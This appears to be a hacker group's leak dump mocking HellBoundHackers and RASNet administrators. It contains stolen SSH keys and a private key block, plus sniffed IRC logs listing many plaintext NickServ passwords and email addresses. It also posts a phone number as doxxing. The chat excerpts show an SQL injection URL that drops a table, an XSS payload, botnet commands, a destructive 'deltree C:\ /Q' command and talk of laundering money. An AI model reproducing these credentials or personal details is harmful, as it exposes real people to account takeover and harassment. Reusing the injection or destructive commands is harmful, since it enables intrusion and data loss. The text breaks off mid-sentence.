TZS0OuyYfedUtt2DjM6S07Cj2zkh1C1Obd4M+ABD9LNRigSfyi9wGwtxXpMk7gwTkS1msy
qHVD5kSxRTmyUl40QukqiAN5PA== "gumbie@toshiba_dsa"
ssh-dss AAAAB3NzaC1kc3MAAACBAIu2cdN3RRzMDD7H45m3ycrDZNoiQpm2NAC1fqc6Ht
Xxt1yE2k5MxNKj2+PJJ5hdPghNZJy7+yD+gsEnbPpEY670yp0WRqF7Pea55zOr5D8LUt7O
NRqSkoMiXCSxXOzbbgpH/f2bucJpeeXU7N4sCsFTwCcs+wOjkWw45WOOYhYRAAAAFQDVOp
3utFXwVFKdWVhF+PWOVFo1UQAAAIAjZoT8OWf+V1myE8qXX53ptpFz+mkz9Cke/nXnCop7
iyWIRMwQyaHiB/m4QFj37jlrVBm3jW185gTJuHcBecpnLtT+1tZE8v52uvHK1b4Tk+tGZS
AnXyFCd2527pzu4UmD89Q3HgSJkPWaimtiR+upc/7lAda6Vd5gGO6WgSlUIwAAAIBdK2ri
xeRLzk0OP91F1LyEP6AG7xK7fcjSTPNdQBNx01jk3B2hT/EQZxp5To+F3UCsjqCSlA8+Hz
c2BicLfEmL8E+sWgZGuAo/tREPeLT8YWPL+JEBK5SJBHpWK4YyGw2pw2wpiecg4X6NMDH/
SBDo8drhsDmHKIiH0AmWyeYGxw== "gumbie@guinness"
ssh-dss AAAAB3NzaC1kc3MAAAEBAKunfYaKQoO/n2Hd/tQi+BWaB3asXeiG2pHrWXsysM
PFucW5dtzupXlyNQVw7Ul6F9DIf0i2mq0pEYRG3DOwE6WpSRzoaVLwIgreWqfseyOHPj1V
VEpqndD1MBN8DB7KhUqmdcZaA0ZHKckfKQ32jNwQzUv8dLiFpxrMgG4NHKnxeljB3KEXrv
fnaLQKzjZM493Kyz2YRrYRRDEmIV9gDXyf7K7tTfTnEH3QlkZntl2EuT7DAwosVp65Sc9e
qg/bTbFPwFV1NBtCLHYqhwbr2o4T47K6p52rleIlc0nKEuIwDC7UXYF/NYK7LlET0Hs2Ue
ORIAqCVpEM9GLtqD86mOEAAAAVALbqDYEBLteFV2KXeFxSgg1dTi7vAAABAByEI62hyW1n
vzlpZDoYp2IBQfS+VfDFPNoxA4ot90KgL0y1cF3HOYVfcEDPj5ONK8246/swSCGgQt8twu
tXsjIo+xiuYO5h6cPLqRTeycMUrP2QQMMxZXuXMJeXLJWJ+e1n5i+vrAJf6X2T0TI+ry6X
9u4gtR5uInW58sNAERtsaxwj+H+ifDIaCFewylmTIOp5A1equsNlHis2B0j7VBLerk7maR
GOCzrc4jdA+ztM5tJaUy8x83bEYiXDOZoeqVmoF2gxTenZiOmQBHDRE4+WlJZCj51eS8r/
8zzSgGMsD0TY5jpcU5zocAi1cd3Woz6oZa8XZPoFke+rr9zK5TwAAAEBAKG8GciKXT79FO
nntiM3fGqQcI21e6w0GczRX6Q1bie9te7c8Z69HIWHeJ43MKAzWi7Zz8rPcHAD30VW7bkg
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kKKrPhjBPOrAbwc0VukhpQAM1c4gWLguE7DCkNwP9g1ExjDw== rhopkins@puma.nfic.com
ssh-dss AAAAB3NzaC1kc3MAAACBAOALYfjrOLYhoAzVYYuoG+OI3k9eDtS2L72ya8V3qH
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wA5/zWBnU8BdUKO+Me6GhauNfyo= gumbie@dizzy.lan.rmachine.net
-----BEGIN DSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,BA4F6AB7334CEBA6

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Db6svHDqcfWIBd5Ae67rpg==
-----END DSA PRIVATE KEY-----
ssh-dss AAAAB3NzaC1kc3MAAACBAIY74c3l8vwJ7CNvTKWsxumvCS0gIKuAMBm0ff/EQ7
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PFAFsJ3owZZtZyCV6npFpUq/GQ== gumbie@localhost.localdomain
[root@lila .ssh]#

Yup, they can sure admin a network... good one guys. Made for a good
afternoon hax, right along with our after school snax. Really, you talk about
being great admins (we're looking at you here Gumbie) and you all reused 
passwords? Do you see the contradiction there? And you also didn't notice when
we had sniffers running on your network for months. Again, you all claim to be
secure, and yet again this was not noticed. Nice oversight RASNet staff, it
made for more fun for us.

192.168.39.2 : Gumbie   -> NickServ : IDENTIFY IlmcC
192.168.39.2 : local    -> nickserv : identify 1qaz@WSX # This is DJDD
192.168.39.2 : local    -> nickserv : identify 60014885
192.168.39.2 : local    -> nickserv : IDENTIFY al2003le # Here we see Stax
192.168.39.2 : local    -> nickserv : identify AsDf567
192.168.39.2 : local    -> NickServ : identify ghostworld
192.168.39.2 : local    -> nickserv : identify nick1234(*)( # LOL
192.168.39.2 : local    -> NickServ : identify rednexr0cksyo
192.168.39.2 : local    -> NickServ : identify rednexrocksyo
192.168.39.2 : local    -> NickServ : identify rroperbot
192.168.39.2 : local    -> NickServ : identify usuck # No, you suck
192.168.39.2 : local    -> NickServ : IDENTIFY viper$
192.168.39.2 : local    -> nickserv : register 1qaz@WSX big.drizzt@gmail.com
192.168.2.50 : local    -> NickServ : IDENTIFY 31337 # Yea, right
192.168.2.50 : local    -> NICKSERV : IDENTIFY boggybog
192.168.2.50 : local    -> NickServ : identify coldhand
192.168.2.50 : local    -> nickserv : identify gagster4life # holla back, homie!
192.168.2.50 : local    -> nickserv : identify gowanlea
192.168.2.50 : local    -> NickServ : identify richos_pass # Thanks for the nice password Richo. :)
192.168.2.50 : local    -> NickServ : identify rroperbot
192.168.2.50 : local    -> nickserv : identify tl1993
192.168.1.133 : local   -> nicksev : identify faster
192.168.1.133 : local   -> NICKServ : IDENTIFY allah1
192.168.1.133 : local   -> NICKServ : REGISTER allah1 turbocharged06@gmail.com
192.168.1.133 : local   -> NICKServ : REGISTER allah1 admin@arabian-outlaw.com
192.168.1.133 : local   -> Nickserv : identify thearchangel
192.168.1.133 : local   -> Nickserv : HELP REGISTER allah1 admin@arabian-outlaw.com # nice one
192.168.1.133 : local   -> Nickserv : IDENTIFY 83624b
192.168.1.133 : local   -> NickServ : IDENTIFY C@i7y
192.168.1.133 : local   -> NickServ : IDENTIFY binary01
192.168.1.133 : local   -> NickServ : IDENTIFY curtis1979
192.168.1.133 : local   -> NickServ : IDENTIFY raven1
192.168.1.133 : local   -> NickServ : IDENTIFY aaaaaa
192.168.1.133 : local   -> nickserv : identify kristyabc
192.168.1.133 : local   -> nickserv : identify portal87
192.168.1.133 : local   -> nickserv : identify bandit
192.168.1.133 : local   -> nickserv : register Necr0six@nerdshack.com zxcvbnm
192.168.1.133 : local   -> nickserv : identify zxcvbnm
192.168.1.133 : local   -> nickserv : identify blargh
192.168.1.133 : local   -> nickserv : identify password1 # BAHAHAHAHA
192.168.1.133 : local   -> nickserv : identify googleiscool # Sure is
192.168.1.133 : local   -> NICKSERV : IDENTIFY hackerhandle18961991
192.168.39.2 : local    -> NickServ : IDENTIFY bubbles18
192.168.39.2 : local    -> nickserv : identify chackmate
192.168.39.2 : local    -> nickserv : identify upiojlk
192.168.39.2 : local    -> NickServ : IDENTIFY vfr1234r
213.251.160.26 : local  -> NickServ : IDENTIFY KURDIES 
213.251.160.26 : local  -> nickserv : identify h4rnd3n16

# He wants her...

192.168.1.133 : StaxBot2_Serv3  -> Caity : I Want you <3... lets make robotic love! :P

192.168.1.133 : Stax    -> Caity : I Want you <3... lets make robotic love! :P

# Caity takes it

192.168.1.133 : local   -> Caity : i wish i was from USA, this stupid norway shit is making everything harder..

192.168.1.133 : local   -> Caity : stfu n00b

# He's no script kiddie!

192.168.1.133 : serial2k        -> ReVoLT : well i have done some defacing 
192.168.1.133 : serial2k        -> ReVoLT : an rooting into servers and shity little stuff like that
192.168.1.133 : serial2k        -> ReVoLT : and
192.168.1.133 : serial2k        -> ReVoLT : remote puter
192.168.1.133 : serial2k        -> ReVoLT : puters*
192.168.1.133 : serial2k        -> ReVoLT : im not a script kiddie i do it through telnet and ftp

# BUSTED!

192.168.1.133 : serial2k        -> ReVoLT : look i swaer it wasn't me if it
was why would i appologise course you going to get info about me tryng to get into
your mail account 

# FRAUD ALERT!

192.168.1.133 : DJDD^Lap        -> flea : i can set up a fake paypal account
if you'd like, withdraw the money, put it into a bank account and then back to
HBH, launder it for u
192.168.1.133 : flea    -> DJDD^Lap : do you have cc gen?
192.168.1.133 : flea    -> DJDD^Lap : were fuckin black hats. omg

# Droppin' d0x

192.168.1.133 : Caity   -> Ice_Chief : 678-458-0223

# I'm sure they'd love you too...

192.168.1.133 : local   -> JuggaloAnt : hmm pretty cool stuff these h0no peope
sound like my kinda people

# packetz

192.168.1.133 : local   -> jynx : stitchup and juggaloant want to run a botnet
on our servers >.> 

# Gettin' 0wned

192.168.39.2 : Stitchup         -> #opers : Hello matey
192.168.39.2 : Gumbie   -> #opers : hiyas
192.168.39.2 : Stax     -> #opers : someones playing with the BNC, well,a sk Stitchup, he found it
192.168.39.2 : Stitchup         -> #opers : <-psyBNC> Sun Jun 10 13:11:25
:connect from cdma-mobile-dyn-TM-84-247-54-150.zappmobile.ro
192.168.39.2 : Stitchup         -> #opers : <-psyBNC> Sun Jun 10 13:11:25
:Lost Connection from cdma-mobile-dyn-TM-84-247-54-150.zappmobile.ro ()
192.168.39.2 : Stitchup         -> #opers : Two attempts the same
192.168.39.2 : Gumbie   -> #opers : he has admin on it,
192.168.39.2 : Gumbie   -> #opers : i will look in a bit
192.168.39.2 : Stitchup         -> #opers : Okie
192.168.39.2 : Gumbie   -> #opers : they can't do much with password
192.168.39.2 : Gumbie   -> #opers : with no password
192.168.39.2 : Stitchup         -> #opers : Ja
192.168.39.2 : Stitchup         -> #opers : Another connection attempt
192.168.39.2 : Stitchup         -> #opers : And again
192.168.39.2 : Stitchup         -> #opers : Gumbie
192.168.39.2 : Gumbie   -> #opers : thats me
192.168.39.2 : Stitchup         -> #opers : Want me to change your pass?
192.168.39.2 : Gumbie   -> #opers : yeah
192.168.39.2 : Gumbie   -> #opers : temp123 # Thanks buddy, we sure appreciate the passwords.
192.168.39.2 : Stitchup         -> #opers : ACTION looks for command
192.168.39.2 : Stax     -> #opers : ACTION is securing his game's server. I will try to stop all the 
SYN_FLOOD
192.168.39.2 : Stitchup         -> #opers : Gumbie: Command syntax?
192.168.39.2 : Gumbie   -> #opers : i forget the syntax
192.168.39.2 : Gumbie   -> #opers : it's been awaile
192.168.39.2 : Stitchup         -> #opers : Also
192.168.39.2 : Stitchup         -> #opers : There's somebody else connecting
to it
192.168.39.2 : Stitchup         -> #opers : -psyBNC> Sun Jun 10 14:00:07
:connect from 89.42.15.39
192.168.39.2 : Stitchup         -> #opers : <-psyBNC> Sun Jun 10 14:00:07
:Lost Connection from 89.42.15.39 ()
192.168.39.2 : Stitchup         -> #opers : I can't find the command
192.168.39.2 : Stitchup         -> #opers : Not on their site
192.168.39.2 : Stitchup         -> #opers : :\

# oper abuse!

80.248.208.223 : local  -> operserv : svsnick Richo DJsBitch
80.248.208.223 : local  -> operserv : svsnick Stitchupsbitch log_dj

# Man love

192.168.39.2 : local    -> ChanServ : TOPIC #hbh Raster wants cock!
192.168.1.133/#hbh:192.168.1.133 : DJ_Double_D  -> #hbh : this is the last
time im gonna tell u Stitchup, im not gonna give u a BJ >.<

# leet haqrz

192.168.39.2 : Stitchup         -> coldhand : All ports filtered
192.168.39.2 : Stitchup         -> coldhand : Apparently
192.168.39.2 : Stitchup         -> coldhand : lol
192.168.39.2 : Stitchup         -> coldhand : 0wn3d
192.168.39.2 : Stitchup         -> coldhand : ^^
192.168.39.2 : Stitchup         -> coldhand : nmapp1ng
192.168.39.2 : Stitchup         -> coldhand : bt ~ # nmap -P0 -sS -A 80.47.191.58
192.168.39.2 : Stitchup         -> coldhand : Too many fingerprints match this host to give specific OS details
192.168.39.2 : Stitchup         -> coldhand : OS and Service detection
performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .
192.168.39.2 : Stitchup         -> coldhand : Nmap finished: 1 IP address (1 host up) scanned 
in 346.532 seconds
192.168.39.2 : Stitchup         -> coldhand : Shell?

# the leet b0tnet mazter

192.168.1.133/#hbh:192.168.1.133 : Stitchup     -> #hbh : Anybody wanna buy a botnet?
192.168.1.133/#hbh:192.168.1.133 : Stitchup     -> #hbh : Downloading botnet apps
192.168.1.133/#hbh:192.168.1.133 : Stitchup     -> #hbh : If you D0S that bot you'll be in trouble
192.168.1.133/#hbh:192.168.1.133 : Stitchup     -> #hbh : If you DoS this network or park bots here 
you'll be in a lot of trouble
192.168.1.133/#hbh:192.168.1.133 : Stitchup     -> #hbh : I got something you'd like if you're into botnets
192.168.1.133/#hbh:192.168.1.133 : Stitchup     -> #hbh : I got source code to about 400 bots
192.168.1.133/#hbh:192.168.1.133 : Stitchup     -> #hbh : I'm talking about DoS bots
192.168.1.133/#pokemon:192.168.1.133 : Stitchup         -> #pokemon : http://stitchup.servebeer.com/botnet/
							              # ^ LOL
192.168.1.133/#pokemon:192.168.1.133 : Stitchup         -> #pokemon : There's my bot apps
66.168.245.176/#pokemon:66.168.245.176 : Stitchup       -> #pokemon : Trying
to make a bot that'll try to drop itself into an IO stream before hiding somewhere else 
# But first he needs to learn how to code!
69.163.232.231/#hbh:69.163.232.231 : Stitchup   -> #hbh : ACTION wants to steal some crazy ass source code 
he just seen on bluehel 

# 1337

192.168.1.133 : JuggaloAnt      -> #hbh : me and sleazoid are mad 1337 hax0rs
192.168.1.133 : Burzhi`         -> #hbh : <body onload="alert(1337)"> # oh noez! XSS!!!
192.168.1.133 : z3ro    -> #hbh : ACTION is 1337
192.168.1.133 : Peer    -> #hbh : and it will have 1337 hax
192.168.1.133 : atreyu556       -> #hbh : download some 1337 hax
192.168.1.133 : Caity   -> #hbh : 1337 dreams, everyone.
192.168.1.133 : DJDD^Work       -> #hbh : ACTION is a hardware 31337
192.168.1.133 : Peer    -> #hbh : I am so 1337, I shit perl code
192.168.1.133 : s25     -> #hbh : zero-1337 surely means you are 0% 1337 # BUUURN!!!
192.168.1.133 : LuxIgnis        -> #hbh : I'm just not uber-1337
192.168.1.133 : LuxIgnis        -> #hbh : well, okay, maybe uber-1337, just not hyper-1337..
192.168.1.133 : Caity   -> #hbh : It would definately make you 1337
192.168.1.133 : Zero    -> #hbh : he is more 1337 (as everyone says)
192.168.1.133 : DosKey  -> #hbh : You are 1337 though.
192.168.1.133 : DosKey  -> #hbh : ACTION only php about 2 1/2 years. I could say i am 1337 at php.
192.168.1.133 : z3ro    -> #hbh : i spek teh uB3r 1337 dawgs
192.168.1.133 : fastfinger      -> #hbh : or call me 1337
192.168.1.133 : Nubilosus       -> #hbh : at least more 1337 than i'll ever be...:P
192.168.1.133 : Nubilosus       -> #hbh : 1337 ;)
192.168.1.133 : kaksii  -> #hbh : ACTION is your new 1337 chess master
192.168.1.133 : kaksii  -> #hbh : ACTION pwns u all with his 1337 chess skillz # skillz that killz
192.168.1.133 : kaksii  -> #hbh : ACTION is talking to him 1337 self
192.168.1.133 : kaksii  -> #hbh : oh my 1337 smilies are the best
192.168.1.133 : kaksii  -> #hbh : I have copyroghts on my 1337 smilies (R) _/~~\.{(^'_'^)}./~~\_
192.168.1.133 : Stax    -> #hbh : You know, these kids saying they are 1337 h4ck3rs and in fact, they sue sub7
192.168.1.133 : DosKey  -> #hbh : Which chan #help sucks and #hackthissite is always full of ghey but 1337 shit
192.168.1.133 : netfish         -> #hbh : pwn it, but haxx0ring the liquor 
st0re through IRC... j00 r 1337 caity, goddamn it. Start behaving like it!
192.168.1.133 : kaksii  -> #hbh : ACTION pwnz u all with his 1337 chess skillz
192.168.1.133 : Skunkfoot       -> #hbh : use your 1337 S.E. skills ;)
192.168.1.133 : pwner   -> #hbh : nub thiks he is 1337
192.168.1.133 : sparrow         -> #hbh : everyone is scared of your 1337n3ss

# leet

192.168.1.133 : ReVoLT  -> #hbh : i wish i had leet skillz
192.168.1.133 : JuggaloAnt      -> #hbh : im so leet # BAHAHAHAH
192.168.1.133 : Nubilosus       -> #hbh : yeham I figured out it was leet
192.168.1.133 : john    -> #hbh : cheese is leet # cheese is a whitehat leech
192.168.1.133 : T-Metal         -> #hbh : But I don't sit there googling with
inurl keywords all day exploiting a single known exploit and calling myself leet. # Nah, he just ./'s
192.168.1.133 : RedCell         -> #hbh : i'm in awe right now because of the leetness
192.168.1.133 : DosKey  -> #hbh : I have proof i am leet.
192.168.1.133 : ReVoLT  -> #hbh : i need some leet nix people on here
192.168.1.133 : wolfy   -> #hbh : im leet nix person
192.168.1.133 : z3ro    -> #hbh : tell him we want to bask in his leetness
192.168.1.133 : ReVoLT  -> #hbh : because +v = very fucking leet
192.168.1.133 : Ingelo^         -> #hbh : Now i have +Very leet hacker ;D
192.168.1.133 : Caity   -> #hbh : Yeah, I'm 'ta leet' one in my family.
192.168.1.133 : BlueYoshie      -> #hbh : my sis is soo ta leet, i love her
192.168.1.133 : Stitchup        -> #hbh : I am leet because i use linux

# wolfmankurd, dilbert and pickle: the only 3 real hackers on the entire server
213.251.160.26 : local  -> Dilbert : DROP TABLE pages;/*
213.251.160.26 : local  -> Dilbert : lol

213.251.160.26 : Pickle         -> wolfmankurd : 'lo
213.251.160.26 : Pickle         -> wolfmankurd : so is that in php, or sql command line?
213.251.160.26 : Pickle         -> wolfmankurd : yeah
213.251.160.26 : Pickle         -> wolfmankurd : droping tables like that should work
213.251.160.26 : Pickle         -> wolfmankurd : probably i think
213.251.160.26 : Pickle         -> wolfmankurd : i don't know really, i don't know a lot about sql # That's obvious...
213.251.160.26 : Pickle         -> wolfmankurd : maybe charcode
213.251.160.26 : Pickle         -> wolfmankurd : :)
213.251.160.26 : Dilbert        -> wolfmankurd : sweeet
213.251.160.26 : Dilbert        -> wolfmankurd : only just noticed the act bar xD

213.251.160.26 : local  -> Pickle : I sent it to dily DROP TABLE pages;/*
213.251.160.26 : local  -> Pickle : injection
213.251.160.26 : local  -> Pickle : article.php?id=-1%20UNION%20ALL%20SELECT%20NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20pages;DROP%20TABLE%20pages;--
213.251.160.26 : local  -> Pickle : although I could just do article.php?id=300;DROP%20TABLE%20pages;--
213.251.160.26 : local  -> Pickle : what ya think?
213.251.160.26 : local  -> Pickle : why ma I getting incoorect syntax?
213.251.160.26 : local  -> Pickle : 4.2.1 standard I think
213.251.160.26 : local  -> Pickle : I think it's the ;
213.251.160.26 : local  -> Pickle : yeah it' the ; :/
213.251.160.26 : local  -> Pickle : any way to get around it?
213.251.160.26 : local  -> Pickle : useing a ; that is
213.251.160.26 : local  -> Pickle : interesting http://bugs.mysql.com/bug.php?id=2339
213.251.160.26 : local  -> Pickle : 213.251.160.26 : local  -> Pickle : gay lol
213.251.160.26 : local  -> Pickle : %3B
213.251.160.26 : local  -> Pickle : oho mysql doesn't allow ;

# Here we see a log from their elite private channel, #pokemon:
213.251.160.26 : Stitchup       -> #pokemon : .[smiff
213.251.160.26 : Stitchup       -> #pokemon : .psniff
213.251.160.26 : Stitchup       -> #pokemon : .remove die
213.251.160.26 : local  -> #pokemon : [SCAN]: Failed to start scan, no IP specif
ied.
213.251.160.26 : USA|XP|SP2|00|3200|W|0842      -> #pokemon : [SCAN]: Failed to 
start scan, no IP specified.
213.251.160.26 : Stitchup       -> #pokemon : remove die
213.251.160.26 : Stitchup       -> #pokemon : .die
213.251.160.26 : Stitchup       -> #pokemon : .logins die
213.251.160.26 : Stitchup       -> #pokemon : .remove die
213.251.160.26 : local  -> #pokemon : [SCAN]: Failed to start scan, no IP specif
ied.
213.251.160.26 : USA|XP|SP2|00|3200|W|0842      -> #pokemon : [SCAN]: Failed to 
start scan, no IP specified.
213.251.160.26 : Stitch         -> #pokemon : wtf
213.251.160.26 : local  -> #pokemon : POKEMON
213.251.160.26 : ReVoLT         -> #pokemon : POKEMON
213.251.160.26 : Stitch         -> #pokemon : YES
213.251.160.26 : Stitch         -> #pokemon : GOT TO
213.251.160.26 : Stitch         -> #pokemon : CATCH THEM ALLLLLLLLLLLLLLLL
213.251.160.26 : local  -> #pokemon : LET ME SHOW YOU MY POKEMANS
213.251.160.26 : ReVoLT         -> #pokemon : LET ME SHOW YOU MY POKEMANS
213.251.160.26 : Stitch         -> #pokemon : weeeeeee
213.251.160.26 : Stitch         -> #pokemon : okej
213.251.160.26 : Stitch         -> #pokemon : okej
213.251.160.26 : Stitch         -> #pokemon : Now
213.251.160.26 : Stitch         -> #pokemon : .logins 09011105010
213.251.160.26 : local  -> #pokemon : nzm (irc.plg) ï¿½ï¿½  Password accepted.
213.251.160.26 : local  -> #pokemon : nzm (irc.plg) ï¿½ï¿½  Password accepted.
213.251.160.26 : USA|XP|SP0|00|3225|W|3911      -> #pokemon : nzm (irc.plg) ï¿½ï¿½  Pa
ssword accepted.
213.251.160.26 : USA|XP|SP2|00|1325|L|8495      -> #pokemon : nzm (irc.plg) ï¿½ï¿½  Pa
ssword accepted.
213.251.160.26 : USA|XP|SP0|00|3225|W|3911      -> #pokemon : nzm (irc.plg) ï¿½ï¿½  Pa
ssword accepted.
213.251.160.26 : USA|XP|SP0|00|3225|W|3911      -> #pokemon : nzm (irc.plg) ï¿½ï¿½  Pa
ssword accepted.
213.251.160.26 : Stitch         -> #pokemon : :)
213.251.160.26 : Stitch         -> #pokemon : See
213.251.160.26 : local  -> #pokemon : lol
213.251.160.26 : ReVoLT         -> #pokemon : lol
213.251.160.26 : Stitch         -> #pokemon : It's got exploit scanning + spread
ing
213.251.160.26 : local  -> #pokemon : heh
213.251.160.26 : DJDD^Lap       -> #pokemon : heh
213.251.160.26 : local  -> #pokemon : .logins 09011105010
213.251.160.26 : ReVoLT         -> #pokemon : .logins 09011105010
213.251.160.26 : Silent_Paws    -> #pokemon : POKEMANS
213.251.160.26 : local  -> #pokemon : :(
213.251.160.26 : ReVoLT         -> #pokemon : :(
213.251.160.26 : Silent_Paws    -> #pokemon : oh hey
213.251.160.26 : Stitch         -> #pokemon : Also host auth
213.251.160.26 : Silent_Paws    -> #pokemon : there are LIES here
213.251.160.26 : Stitch         -> #pokemon : STFU OR DDOS # LOL
213.251.160.26 : Stitch         -> #pokemon : Anyways
213.251.160.26 : Stitch         -> #pokemon : I was tryna add in vnc scanning
213.251.160.26 : Stitch         -> #pokemon : And auto rooting
213.251.160.26 : Stitch         -> #pokemon : But it seems i fucked up
213.251.160.26 : Stitch         -> #pokemon : .remove die
213.251.160.26 : local  -> #pokemon : [SCAN]: Failed to start scan, no IP specif
ied.
213.251.160.26 : local  -> #pokemon : [SCAN]: Failed to start scan, no IP specif
ied.
213.251.160.26 : USA|XP|SP0|00|3225|W|3911      -> #pokemon : [SCAN]: Failed to 
start scan, no IP specified.
213.251.160.26 : USA|XP|SP2|00|1325|L|8495      -> #pokemon : [SCAN]: Failed to 
start scan, no IP specified.
213.251.160.26 : USA|XP|SP0|00|3225|W|3911      -> #pokemon : [SCAN]: Failed to 
start scan, no IP specified.
213.251.160.26 : USA|XP|SP0|00|3225|W|3911      -> #pokemon : [SCAN]: Failed to 
start scan, no IP specified.
213.251.160.26 : local  -> #pokemon : heh
213.251.160.26 : DJDD^Lap       -> #pokemon : heh
213.251.160.26 : Stitch         -> #pokemon : .remove die
213.251.160.26 : local  -> #pokemon : [SCAN]: Failed to start scan, no IP specif
ied.
213.251.160.26 : Stitch         -> #pokemon : .remove die
213.251.160.26 : local  -> #pokemon : [SCAN]: Failed to start scan, no IP specif
ied.
213.251.160.26 : Stitch         -> #pokemon : .remove die
213.251.160.26 : USA|XP|SP0|00|3225|W|3911      -> #pokemon : [SCAN]: Failed to 
start scan, no IP specified.
213.251.160.26 : local  -> #pokemon : [SCAN]: Failed to start scan, no IP specif
ied.
213.251.160.26 : Stitch         -> #pokemon : [SCAN]: Failed to start scan, no I
P specified.
213.251.160.26 : local  -> #pokemon : [SCAN]: Failed to start scan, no IP specif
ied.
213.251.160.26 : Stitch         -> #pokemon : [SCAN]: Failed to start scan, no I
P specified.
213.251.160.26 : USA|XP|SP0|00|3225|W|3911      -> #pokemon : [SCAN]: Failed to 
start scan, no IP specified.
213.251.160.26 : local  -> #pokemon : [SCAN]: Failed to start scan, no IP specif
ied.
213.251.160.26 : Stitch         -> #pokemon : .remove die
213.251.160.26 : USA|XP|SP0|00|3225|W|3911      -> #pokemon : [SCAN]: Failed to 
start scan, no IP specified.
213.251.160.26 : local  -> #pokemon : [SCAN]: Failed to start scan, no IP specif
ied.
213.251.160.26 : Stitch         -> #pokemon : [SCAN]: Failed to start scan, no I
P specified.
213.251.160.26 : Stitch         -> #pokemon : [SCAN]: Failed to start scan, no I
P specified.
213.251.160.26 : local  -> #pokemon : [SCAN]: Failed to start scan, no IP specif
ied.
213.251.160.26 : USA|XP|SP2|00|1325|L|8495      -> #pokemon : [SCAN]: Failed to 
start scan, no IP specified.
213.251.160.26 : local  -> #pokemon : [SCAN]: Failed to start scan, no IP specif
ied.
213.251.160.26 : USA|XP|SP0|00|3225|W|3911      -> #pokemon : [SCAN]: Failed to 
start scan, no IP specified.
213.251.160.26 : USA|XP|SP2|00|1325|L|8495      -> #pokemon : [SCAN]: Failed to 
start scan, no IP specified.
213.251.160.26 : USA|XP|SP0|00|3225|W|3911      -> #pokemon : [SCAN]: Failed to 
start scan, no IP specified.
213.251.160.26 : USA|XP|SP0|00|3225|W|3911      -> #pokemon : [SCAN]: Failed to 
start scan, no IP specified.
213.251.160.26 : Stitch         -> #pokemon : lol
213.251.160.26 : Stitch         -> #pokemon : :)
213.251.160.26 : Stitch         -> #pokemon : I fucked the remove command
213.251.160.26 : Stitch         -> #pokemon : :D
213.251.160.26 : Stitch         -> #pokemon : And the scanning doesn't work
213.251.160.26 : Stitch         -> #pokemon : So
213.251.160.26 : Stitch         -> #pokemon : I need you to tell me
213.251.160.26 : Stitch         -> #pokemon : How to easily trash a windows box
213.251.160.26 : Stitch         -> #pokemon : From cmd prompt
213.251.160.26 : Stitch         -> #pokemon : :)
213.251.160.26 : Stitch         -> #pokemon : And i'll do it
213.251.160.26 : Stitch         -> #pokemon : And paste results
213.251.160.26 : local  -> #pokemon : deltree C
213.251.160.26 : DJDD^Lap       -> #pokemon : deltree C
213.251.160.26 : local  -> #pokemon : lol
213.251.160.26 : ReVoLT         -> #pokemon : lol
213.251.160.26 : local  -> #pokemon : C:\ /Q
213.251.160.26 : DJDD^Lap       -> #pokemon : C:\ /Q
213.251.160.26 : Stitch         -> #pokemon : full command plox
213.251.160.26 : Stitch         -> #pokemon : I can't be bothered to think about
 stuff
213.251.160.26 : local  -> #pokemon : deltree C:\ /Q
213.251.160.26 : DJDD^Lap       -> #pokemon : deltree C:\ /Q
213.251.160.26 : local  -> #pokemon : that works...i know as ive done it :p
213.251.160.26 : DJDD^Lap       -> #pokemon : that works...i know as ive done it
 :p
213.251.160.26 : Stitch         -> #pokemon : deltree C:\ /Q
213.251.160.26 : Stitch         -> #pokemon : ...
213.251.160.26 : Stitch         -> #pokemon : C:\Documents and Settings\Sam Turk
enitz>deltree C:\/Q
213.251.160.26 : Stitch         -> #pokemon : operable program or batch file.
213.251.160.26 : Stitch         -> #pokemon : fGt
213.251.160.26 : Raster         -> #pokemon : bleh bots
213.251.160.26 : Stitch         -> #pokemon : Wasn't me!
213.251.160.26 : Raster         -> #pokemon : XD
213.251.160.26 : Stitch         -> #pokemon : lol
213.251.160.26 : Stitch         -> #pokemon : Morning
213.251.160.26 : Stitch         -> #pokemon : :)
213.251.160.26 : local  -> #pokemon : hmm...oh damn...i forgot XP doesntsupport 
deltree
213.251.160.26 : Raster         -> #pokemon : Ive been around
213.251.160.26 : Stitch         -> #pokemon : I see
213.251.160.26 : Stitch         -> #pokemon : And i see
213.251.160.26 : Stitch         -> #pokemon : Let me find some kind of virii tha
t will just fuck the box
213.251.160.26 : Stitch         -> #pokemon : I cba to play around with shit
213.251.160.26 : local  -> #pokemon : .logins 09011105010
213.251.160.26 : local  -> #pokemon : :(
213.251.160.26 : Pickle         -> #pokemon : ha
213.251.160.26 : Pickle         -> #pokemon : no it's the other pass
213.251.160.26 : Pickle         -> #pokemon : hangon
213.251.160.26 : Pickle         -> #pokemon : .bot.login JJyVffar3615
213.251.160.26 : Pickle         -> #pokemon : nope
213.251.160.26 : Pickle         -> #pokemon : [Sat Jun 16 2007] [17:17:35] <Rich
o>      .bot.login JJyVffar3615
213.251.160.26 : Pickle         -> #pokemon : [Sat Jun 16 2007] [17:17:37] [M00
|XP|UNI]400341> 3main .bot - user logged in
213.251.160.26 : Pickle         -> #pokemon : i'm thinking it's not the same bot
213.251.160.26 : local  -> #pokemon : lol

We have several hundred megs of sniffed IRC logs, but we don't want to bore
you. HBH, your time is up. Accept this gracefully, and try to save whatever
small public image you have left.

But first take a look at this. It's hilarious. It's so bad it could easily be a
prank.

http://www.petitiononline.com/LLHBH/petition.html

Might as well copy the text verbatim.


########################################

To:  The FBI and SS 

Mr_Cheese, the loved admin of HellBoundHackers.org, is being arrested, for
simply doing what he believed in, and being a 'True Hacker', sharing his
knowledge with anyone who wanted to learn, and trying to do his part to
make a difference in the world. 

Myself, along with many other loyal members of this website, are outraged.



QUOTE FROM HELLBOUNDHACKERS.ORG: 
Mr_Cheese wrote: 
this is the hardest message i have ever had to write, and could most
likely be my last ever post on HBH. im writing this message whilst
struggeling to retain my tears. I have been dreading this day for my whole
career. 

i love this site. i love what it has become. i love the members on it. 

Recent events have now caused me to give up "hacking", and soon give up
HBH. 

As some of you know im having problems with the Secret Service. 

They have been investigating me for months now and even some members on
HBH have been interevied by FBI agents. 

Someone i considered my friend, and thought i could trust has actually
been working for the SS and been sending them every piece of information
he had on me. He even hosted HBH for a while just so the he could relay
information to the SS. Thank you danserv.co.uk betrayel is something i
never forget. 

Secret Service also bugged/monitored the HBHCon and even arrested a member
at the end of the day to get extra info. This member had his laptop
